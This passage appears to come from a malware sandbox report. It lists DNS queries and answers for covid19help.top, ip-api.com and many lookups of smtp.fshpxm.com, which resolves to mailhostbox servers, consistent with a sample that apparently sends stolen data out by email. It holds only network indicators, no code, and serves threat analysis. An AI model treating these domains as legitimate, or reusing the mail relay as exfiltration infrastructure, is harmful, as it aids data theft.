Apr 18, 2024 10:25:27.662209034 CEST	192.168.2.22	8.8.8.8	0x4a0e	Standard query (0)	smtp.fshpxm.com	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:27.773974895 CEST	192.168.2.22	8.8.8.8	0xf0a9	Standard query (0)	smtp.fshpxm.com	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:27.879113913 CEST	192.168.2.22	8.8.8.8	0xf0a9	Standard query (0)	smtp.fshpxm.com	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:27.984003067 CEST	192.168.2.22	8.8.8.8	0xf0a9	Standard query (0)	smtp.fshpxm.com	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:28.089175940 CEST	192.168.2.22	8.8.8.8	0xf0a9	Standard query (0)	smtp.fshpxm.com	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:28.195342064 CEST	192.168.2.22	8.8.8.8	0xf0a9	Standard query (0)	smtp.fshpxm.com	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:28.379762888 CEST	192.168.2.22	8.8.8.8	0x565a	Standard query (0)	smtp.fshpxm.com	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:28.485917091 CEST	192.168.2.22	8.8.8.8	0x565a	Standard query (0)	smtp.fshpxm.com	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:28.590712070 CEST	192.168.2.22	8.8.8.8	0x565a	Standard query (0)	smtp.fshpxm.com	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:28.695720911 CEST	192.168.2.22	8.8.8.8	0x565a	Standard query (0)	smtp.fshpxm.com	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:28.802583933 CEST	192.168.2.22	8.8.8.8	0x565a	Standard query (0)	smtp.fshpxm.com	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:31.203442097 CEST	192.168.2.22	8.8.8.8	0x5deb	Standard query (0)	smtp.fshpxm.com	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:31.308289051 CEST	192.168.2.22	8.8.8.8	0x5deb	Standard query (0)	smtp.fshpxm.com	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:31.413068056 CEST	192.168.2.22	8.8.8.8	0x5deb	Standard query (0)	smtp.fshpxm.com	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:31.518390894 CEST	192.168.2.22	8.8.8.8	0x5deb	Standard query (0)	smtp.fshpxm.com	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:31.623454094 CEST	192.168.2.22	8.8.8.8	0x5deb	Standard query (0)	smtp.fshpxm.com	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:34.036279917 CEST	192.168.2.22	8.8.8.8	0x3b1a	Standard query (0)	smtp.fshpxm.com	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:25:34.143178940 CEST	192.168.2.22	8.8.8.8	0x282f	Standard query (0)	smtp.fshpxm.com	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:26:32.683054924 CEST	192.168.2.22	8.8.8.8	0xbe8a	Standard query (0)	smtp.fshpxm.com	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:26:32.788002014 CEST	192.168.2.22	8.8.8.8	0xbe8a	Standard query (0)	smtp.fshpxm.com	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:26:32.892724991 CEST	192.168.2.22	8.8.8.8	0xbe8a	Standard query (0)	smtp.fshpxm.com	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:26:32.997262955 CEST	192.168.2.22	8.8.8.8	0xbe8a	Standard query (0)	smtp.fshpxm.com	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:26:33.109623909 CEST	192.168.2.22	8.8.8.8	0xbe8a	Standard query (0)	smtp.fshpxm.com	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:26:35.526380062 CEST	192.168.2.22	8.8.8.8	0x9447	Standard query (0)	smtp.fshpxm.com	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:26:35.631419897 CEST	192.168.2.22	8.8.8.8	0x9447	Standard query (0)	smtp.fshpxm.com	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:26:35.736143112 CEST	192.168.2.22	8.8.8.8	0x9447	Standard query (0)	smtp.fshpxm.com	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:26:35.840867043 CEST	192.168.2.22	8.8.8.8	0x9447	Standard query (0)	smtp.fshpxm.com	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:26:35.945952892 CEST	192.168.2.22	8.8.8.8	0x9447	Standard query (0)	smtp.fshpxm.com	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:26:45.269303083 CEST	192.168.2.22	8.8.8.8	0xfb95	Standard query (0)	smtp.fshpxm.com	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:26:45.468240023 CEST	192.168.2.22	8.8.8.8	0x87f8	Standard query (0)	smtp.fshpxm.com	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:26:45.573307991 CEST	192.168.2.22	8.8.8.8	0x87f8	Standard query (0)	smtp.fshpxm.com	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:26:45.678051949 CEST	192.168.2.22	8.8.8.8	0x87f8	Standard query (0)	smtp.fshpxm.com	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:26:45.783088923 CEST	192.168.2.22	8.8.8.8	0x87f8	Standard query (0)	smtp.fshpxm.com	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:26:45.887870073 CEST	192.168.2.22	8.8.8.8	0x87f8	Standard query (0)	smtp.fshpxm.com	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:26:48.922852993 CEST	192.168.2.22	8.8.8.8	0x7fe0	Standard query (0)	smtp.fshpxm.com	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:26:49.027551889 CEST	192.168.2.22	8.8.8.8	0x7fe0	Standard query (0)	smtp.fshpxm.com	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:26:49.133200884 CEST	192.168.2.22	8.8.8.8	0x7fe0	Standard query (0)	smtp.fshpxm.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Apr 18, 2024 10:23:54.289743900 CEST	8.8.8.8	192.168.2.22	0xb979	No error (0)	covid19help.top		104.21.83.128	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:23:54.289743900 CEST	8.8.8.8	192.168.2.22	0xb979	No error (0)	covid19help.top		172.67.175.222	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:00.918476105 CEST	8.8.8.8	192.168.2.22	0x1d8d	No error (0)	ip-api.com		208.95.112.1	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:02.735512018 CEST	8.8.8.8	192.168.2.22	0x88b4	No error (0)	smtp.fshpxm.com	us2.smtp.mailhostbox.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 18, 2024 10:24:02.735512018 CEST	8.8.8.8	192.168.2.22	0x88b4	No error (0)	us2.smtp.mailhostbox.com		208.91.198.143	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:02.735512018 CEST	8.8.8.8	192.168.2.22	0x88b4	No error (0)	us2.smtp.mailhostbox.com		208.91.199.223	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:02.735512018 CEST	8.8.8.8	192.168.2.22	0x88b4	No error (0)	us2.smtp.mailhostbox.com		208.91.199.225	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:02.735512018 CEST	8.8.8.8	192.168.2.22	0x88b4	No error (0)	us2.smtp.mailhostbox.com		208.91.199.224	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:02.807598114 CEST	8.8.8.8	192.168.2.22	0x2a1	No error (0)	smtp.fshpxm.com	us2.smtp.mailhostbox.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 18, 2024 10:24:02.807598114 CEST	8.8.8.8	192.168.2.22	0x2a1	No error (0)	us2.smtp.mailhostbox.com		208.91.198.143	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:02.807598114 CEST	8.8.8.8	192.168.2.22	0x2a1	No error (0)	us2.smtp.mailhostbox.com		208.91.199.225	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:02.807598114 CEST	8.8.8.8	192.168.2.22	0x2a1	No error (0)	us2.smtp.mailhostbox.com		208.91.199.223	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:02.807598114 CEST	8.8.8.8	192.168.2.22	0x2a1	No error (0)	us2.smtp.mailhostbox.com		208.91.199.224	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:02.878804922 CEST	8.8.8.8	192.168.2.22	0x88b4	No error (0)	smtp.fshpxm.com	us2.smtp.mailhostbox.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 18, 2024 10:24:02.878804922 CEST	8.8.8.8	192.168.2.22	0x88b4	No error (0)	us2.smtp.mailhostbox.com		208.91.199.225	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:02.878804922 CEST	8.8.8.8	192.168.2.22	0x88b4	No error (0)	us2.smtp.mailhostbox.com		208.91.199.224	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:02.878804922 CEST	8.8.8.8	192.168.2.22	0x88b4	No error (0)	us2.smtp.mailhostbox.com		208.91.198.143	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:02.878804922 CEST	8.8.8.8	192.168.2.22	0x88b4	No error (0)	us2.smtp.mailhostbox.com		208.91.199.223	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:02.915587902 CEST	8.8.8.8	192.168.2.22	0x2a1	No error (0)	smtp.fshpxm.com	us2.smtp.mailhostbox.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 18, 2024 10:24:02.915587902 CEST	8.8.8.8	192.168.2.22	0x2a1	No error (0)	us2.smtp.mailhostbox.com		208.91.199.225	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:02.915587902 CEST	8.8.8.8	192.168.2.22	0x2a1	No error (0)	us2.smtp.mailhostbox.com		208.91.199.223	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:02.915587902 CEST	8.8.8.8	192.168.2.22	0x2a1	No error (0)	us2.smtp.mailhostbox.com		208.91.198.143	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:02.915587902 CEST	8.8.8.8	192.168.2.22	0x2a1	No error (0)	us2.smtp.mailhostbox.com		208.91.199.224	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:02.984225035 CEST	8.8.8.8	192.168.2.22	0x88b4	No error (0)	smtp.fshpxm.com	us2.smtp.mailhostbox.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 18, 2024 10:24:02.984225035 CEST	8.8.8.8	192.168.2.22	0x88b4	No error (0)	us2.smtp.mailhostbox.com		208.91.198.143	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:02.984225035 CEST	8.8.8.8	192.168.2.22	0x88b4	No error (0)	us2.smtp.mailhostbox.com		208.91.199.223	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:02.984225035 CEST	8.8.8.8	192.168.2.22	0x88b4	No error (0)	us2.smtp.mailhostbox.com		208.91.199.225	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:02.984225035 CEST	8.8.8.8	192.168.2.22	0x88b4	No error (0)	us2.smtp.mailhostbox.com		208.91.199.224	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:03.020723104 CEST	8.8.8.8	192.168.2.22	0x2a1	No error (0)	smtp.fshpxm.com	us2.smtp.mailhostbox.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 18, 2024 10:24:03.020723104 CEST	8.8.8.8	192.168.2.22	0x2a1	No error (0)	us2.smtp.mailhostbox.com		208.91.199.225	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:03.020723104 CEST	8.8.8.8	192.168.2.22	0x2a1	No error (0)	us2.smtp.mailhostbox.com		208.91.199.223	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:03.020723104 CEST	8.8.8.8	192.168.2.22	0x2a1	No error (0)	us2.smtp.mailhostbox.com		208.91.198.143	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:03.020723104 CEST	8.8.8.8	192.168.2.22	0x2a1	No error (0)	us2.smtp.mailhostbox.com		208.91.199.224	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:03.089870930 CEST	8.8.8.8	192.168.2.22	0x88b4	No error (0)	smtp.fshpxm.com	us2.smtp.mailhostbox.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 18, 2024 10:24:03.089870930 CEST	8.8.8.8	192.168.2.22	0x88b4	No error (0)	us2.smtp.mailhostbox.com		208.91.198.143	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:03.089870930 CEST	8.8.8.8	192.168.2.22	0x88b4	No error (0)	us2.smtp.mailhostbox.com		208.91.199.223	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:03.089870930 CEST	8.8.8.8	192.168.2.22	0x88b4	No error (0)	us2.smtp.mailhostbox.com		208.91.199.225	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:03.089870930 CEST	8.8.8.8	192.168.2.22	0x88b4	No error (0)	us2.smtp.mailhostbox.com		208.91.199.224	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:03.129018068 CEST	8.8.8.8	192.168.2.22	0x2a1	No error (0)	smtp.fshpxm.com	us2.smtp.mailhostbox.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 18, 2024 10:24:03.129018068 CEST	8.8.8.8	192.168.2.22	0x2a1	No error (0)	us2.smtp.mailhostbox.com		208.91.198.143	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:03.129018068 CEST	8.8.8.8	192.168.2.22	0x2a1	No error (0)	us2.smtp.mailhostbox.com		208.91.199.225	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:03.129018068 CEST	8.8.8.8	192.168.2.22	0x2a1	No error (0)	us2.smtp.mailhostbox.com		208.91.199.224	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:03.129018068 CEST	8.8.8.8	192.168.2.22	0x2a1	No error (0)	us2.smtp.mailhostbox.com		208.91.199.223	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:03.241738081 CEST	8.8.8.8	192.168.2.22	0x88b4	No error (0)	smtp.fshpxm.com	us2.smtp.mailhostbox.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 18, 2024 10:24:03.241738081 CEST	8.8.8.8	192.168.2.22	0x88b4	No error (0)	us2.smtp.mailhostbox.com		208.91.198.143	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:03.241738081 CEST	8.8.8.8	192.168.2.22	0x88b4	No error (0)	us2.smtp.mailhostbox.com		208.91.199.225	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:03.241738081 CEST	8.8.8.8	192.168.2.22	0x88b4	No error (0)	us2.smtp.mailhostbox.com		208.91.199.224	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:03.241738081 CEST	8.8.8.8	192.168.2.22	0x88b4	No error (0)	us2.smtp.mailhostbox.com		208.91.199.223	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:03.263102055 CEST	8.8.8.8	192.168.2.22	0xe8ae	No error (0)	smtp.fshpxm.com	us2.smtp.mailhostbox.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 18, 2024 10:24:03.263102055 CEST	8.8.8.8	192.168.2.22	0xe8ae	No error (0)	us2.smtp.mailhostbox.com		208.91.199.224	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:03.263102055 CEST	8.8.8.8	192.168.2.22	0xe8ae	No error (0)	us2.smtp.mailhostbox.com		208.91.199.225	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:03.263102055 CEST	8.8.8.8	192.168.2.22	0xe8ae	No error (0)	us2.smtp.mailhostbox.com		208.91.199.223	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:03.263102055 CEST	8.8.8.8	192.168.2.22	0xe8ae	No error (0)	us2.smtp.mailhostbox.com		208.91.198.143	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:05.679852009 CEST	8.8.8.8	192.168.2.22	0x9601	No error (0)	smtp.fshpxm.com	us2.smtp.mailhostbox.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 18, 2024 10:24:05.679852009 CEST	8.8.8.8	192.168.2.22	0x9601	No error (0)	us2.smtp.mailhostbox.com		208.91.199.225	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:05.679852009 CEST	8.8.8.8	192.168.2.22	0x9601	No error (0)	us2.smtp.mailhostbox.com		208.91.199.224	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:05.679852009 CEST	8.8.8.8	192.168.2.22	0x9601	No error (0)	us2.smtp.mailhostbox.com		208.91.198.143	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:05.679852009 CEST	8.8.8.8	192.168.2.22	0x9601	No error (0)	us2.smtp.mailhostbox.com		208.91.199.223	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:05.785197973 CEST	8.8.8.8	192.168.2.22	0x9601	No error (0)	smtp.fshpxm.com	us2.smtp.mailhostbox.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 18, 2024 10:24:05.785197973 CEST	8.8.8.8	192.168.2.22	0x9601	No error (0)	us2.smtp.mailhostbox.com		208.91.198.143	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:05.785197973 CEST	8.8.8.8	192.168.2.22	0x9601	No error (0)	us2.smtp.mailhostbox.com		208.91.199.223	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:05.785197973 CEST	8.8.8.8	192.168.2.22	0x9601	No error (0)	us2.smtp.mailhostbox.com		208.91.199.225	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:05.785197973 CEST	8.8.8.8	192.168.2.22	0x9601	No error (0)	us2.smtp.mailhostbox.com		208.91.199.224	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:07.374483109 CEST	8.8.8.8	192.168.2.22	0x8774	No error (0)	smtp.fshpxm.com	us2.smtp.mailhostbox.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 18, 2024 10:24:07.374483109 CEST	8.8.8.8	192.168.2.22	0x8774	No error (0)	us2.smtp.mailhostbox.com		208.91.198.143	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:07.374483109 CEST	8.8.8.8	192.168.2.22	0x8774	No error (0)	us2.smtp.mailhostbox.com		208.91.199.225	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:07.374483109 CEST	8.8.8.8	192.168.2.22	0x8774	No error (0)	us2.smtp.mailhostbox.com		208.91.199.223	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:07.374483109 CEST	8.8.8.8	192.168.2.22	0x8774	No error (0)	us2.smtp.mailhostbox.com		208.91.199.224	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:07.700669050 CEST	8.8.8.8	192.168.2.22	0x8774	No error (0)	smtp.fshpxm.com	us2.smtp.mailhostbox.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 18, 2024 10:24:07.700669050 CEST	8.8.8.8	192.168.2.22	0x8774	No error (0)	us2.smtp.mailhostbox.com		208.91.198.143	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:07.700669050 CEST	8.8.8.8	192.168.2.22	0x8774	No error (0)	us2.smtp.mailhostbox.com		208.91.199.225	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:07.700669050 CEST	8.8.8.8	192.168.2.22	0x8774	No error (0)	us2.smtp.mailhostbox.com		208.91.199.223	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:07.700669050 CEST	8.8.8.8	192.168.2.22	0x8774	No error (0)	us2.smtp.mailhostbox.com		208.91.199.224	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:08.351823092 CEST	8.8.8.8	192.168.2.22	0x6143	No error (0)	smtp.fshpxm.com	us2.smtp.mailhostbox.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 18, 2024 10:24:08.351823092 CEST	8.8.8.8	192.168.2.22	0x6143	No error (0)	us2.smtp.mailhostbox.com		208.91.198.143	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:08.351823092 CEST	8.8.8.8	192.168.2.22	0x6143	No error (0)	us2.smtp.mailhostbox.com		208.91.199.225	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:08.351823092 CEST	8.8.8.8	192.168.2.22	0x6143	No error (0)	us2.smtp.mailhostbox.com		208.91.199.223	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:08.351823092 CEST	8.8.8.8	192.168.2.22	0x6143	No error (0)	us2.smtp.mailhostbox.com		208.91.199.224	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:08.457222939 CEST	8.8.8.8	192.168.2.22	0x6143	No error (0)	smtp.fshpxm.com	us2.smtp.mailhostbox.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 18, 2024 10:24:08.457222939 CEST	8.8.8.8	192.168.2.22	0x6143	No error (0)	us2.smtp.mailhostbox.com		208.91.199.225	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:08.457222939 CEST	8.8.8.8	192.168.2.22	0x6143	No error (0)	us2.smtp.mailhostbox.com		208.91.199.223	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:08.457222939 CEST	8.8.8.8	192.168.2.22	0x6143	No error (0)	us2.smtp.mailhostbox.com		208.91.198.143	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:08.457222939 CEST	8.8.8.8	192.168.2.22	0x6143	No error (0)	us2.smtp.mailhostbox.com		208.91.199.224	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:08.591680050 CEST	8.8.8.8	192.168.2.22	0x6143	No error (0)	smtp.fshpxm.com	us2.smtp.mailhostbox.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 18, 2024 10:24:08.591680050 CEST	8.8.8.8	192.168.2.22	0x6143	No error (0)	us2.smtp.mailhostbox.com		208.91.198.143	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:08.591680050 CEST	8.8.8.8	192.168.2.22	0x6143	No error (0)	us2.smtp.mailhostbox.com		208.91.199.225	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:08.591680050 CEST	8.8.8.8	192.168.2.22	0x6143	No error (0)	us2.smtp.mailhostbox.com		208.91.199.223	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:08.591680050 CEST	8.8.8.8	192.168.2.22	0x6143	No error (0)	us2.smtp.mailhostbox.com		208.91.199.224	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:08.697057009 CEST	8.8.8.8	192.168.2.22	0x6143	No error (0)	smtp.fshpxm.com	us2.smtp.mailhostbox.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 18, 2024 10:24:08.697057009 CEST	8.8.8.8	192.168.2.22	0x6143	No error (0)	us2.smtp.mailhostbox.com		208.91.199.225	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:08.697057009 CEST	8.8.8.8	192.168.2.22	0x6143	No error (0)	us2.smtp.mailhostbox.com		208.91.199.223	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:08.697057009 CEST	8.8.8.8	192.168.2.22	0x6143	No error (0)	us2.smtp.mailhostbox.com		208.91.198.143	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:08.697057009 CEST	8.8.8.8	192.168.2.22	0x6143	No error (0)	us2.smtp.mailhostbox.com		208.91.199.224	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:08.802454948 CEST	8.8.8.8	192.168.2.22	0x6143	No error (0)	smtp.fshpxm.com	us2.smtp.mailhostbox.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 18, 2024 10:24:08.802454948 CEST	8.8.8.8	192.168.2.22	0x6143	No error (0)	us2.smtp.mailhostbox.com		208.91.198.143	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:08.802454948 CEST	8.8.8.8	192.168.2.22	0x6143	No error (0)	us2.smtp.mailhostbox.com		208.91.199.225	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:08.802454948 CEST	8.8.8.8	192.168.2.22	0x6143	No error (0)	us2.smtp.mailhostbox.com		208.91.199.224	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:08.802454948 CEST	8.8.8.8	192.168.2.22	0x6143	No error (0)	us2.smtp.mailhostbox.com		208.91.199.223	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:09.026017904 CEST	8.8.8.8	192.168.2.22	0xf38a	No error (0)	ip-api.com		208.95.112.1	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:09.147062063 CEST	8.8.8.8	192.168.2.22	0xf38a	No error (0)	ip-api.com		208.95.112.1	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:10.150906086 CEST	8.8.8.8	192.168.2.22	0x5051	No error (0)	smtp.fshpxm.com	us2.smtp.mailhostbox.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 18, 2024 10:24:10.150906086 CEST	8.8.8.8	192.168.2.22	0x5051	No error (0)	us2.smtp.mailhostbox.com		208.91.198.143	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:10.150906086 CEST	8.8.8.8	192.168.2.22	0x5051	No error (0)	us2.smtp.mailhostbox.com		208.91.199.225	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:10.150906086 CEST	8.8.8.8	192.168.2.22	0x5051	No error (0)	us2.smtp.mailhostbox.com		208.91.199.224	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:10.150906086 CEST	8.8.8.8	192.168.2.22	0x5051	No error (0)	us2.smtp.mailhostbox.com		208.91.199.223	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:10.191788912 CEST	8.8.8.8	192.168.2.22	0xe35a	No error (0)	smtp.fshpxm.com	us2.smtp.mailhostbox.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 18, 2024 10:24:10.191788912 CEST	8.8.8.8	192.168.2.22	0xe35a	No error (0)	us2.smtp.mailhostbox.com		208.91.199.225	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:10.191788912 CEST	8.8.8.8	192.168.2.22	0xe35a	No error (0)	us2.smtp.mailhostbox.com		208.91.199.224	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:10.191788912 CEST	8.8.8.8	192.168.2.22	0xe35a	No error (0)	us2.smtp.mailhostbox.com		208.91.198.143	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:10.191788912 CEST	8.8.8.8	192.168.2.22	0xe35a	No error (0)	us2.smtp.mailhostbox.com		208.91.199.223	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:10.256194115 CEST	8.8.8.8	192.168.2.22	0x5051	No error (0)	smtp.fshpxm.com	us2.smtp.mailhostbox.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 18, 2024 10:24:10.256194115 CEST	8.8.8.8	192.168.2.22	0x5051	No error (0)	us2.smtp.mailhostbox.com		208.91.198.143	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:10.256194115 CEST	8.8.8.8	192.168.2.22	0x5051	No error (0)	us2.smtp.mailhostbox.com		208.91.199.225	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:10.256194115 CEST	8.8.8.8	192.168.2.22	0x5051	No error (0)	us2.smtp.mailhostbox.com		208.91.199.224	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:10.256194115 CEST	8.8.8.8	192.168.2.22	0x5051	No error (0)	us2.smtp.mailhostbox.com		208.91.199.223	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:10.298892975 CEST	8.8.8.8	192.168.2.22	0xe35a	No error (0)	smtp.fshpxm.com	us2.smtp.mailhostbox.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 18, 2024 10:24:10.298892975 CEST	8.8.8.8	192.168.2.22	0xe35a	No error (0)	us2.smtp.mailhostbox.com		208.91.198.143	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:10.298892975 CEST	8.8.8.8	192.168.2.22	0xe35a	No error (0)	us2.smtp.mailhostbox.com		208.91.199.223	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:10.298892975 CEST	8.8.8.8	192.168.2.22	0xe35a	No error (0)	us2.smtp.mailhostbox.com		208.91.199.225	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:10.298892975 CEST	8.8.8.8	192.168.2.22	0xe35a	No error (0)	us2.smtp.mailhostbox.com		208.91.199.224	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:10.362170935 CEST	8.8.8.8	192.168.2.22	0x5051	No error (0)	smtp.fshpxm.com	us2.smtp.mailhostbox.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 18, 2024 10:24:10.362170935 CEST	8.8.8.8	192.168.2.22	0x5051	No error (0)	us2.smtp.mailhostbox.com		208.91.198.143	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:10.362170935 CEST	8.8.8.8	192.168.2.22	0x5051	No error (0)	us2.smtp.mailhostbox.com		208.91.199.225	A (IP address)	IN (0x0001)	false
Apr 18, 2024 10:24:10.362170935 CEST	8.8.8.8	192.168.2.22	0x5051	No error (0)	us2.smtp.mailhostbox.com		208.91.199.224	A (IP address)	IN (0x0001)	false
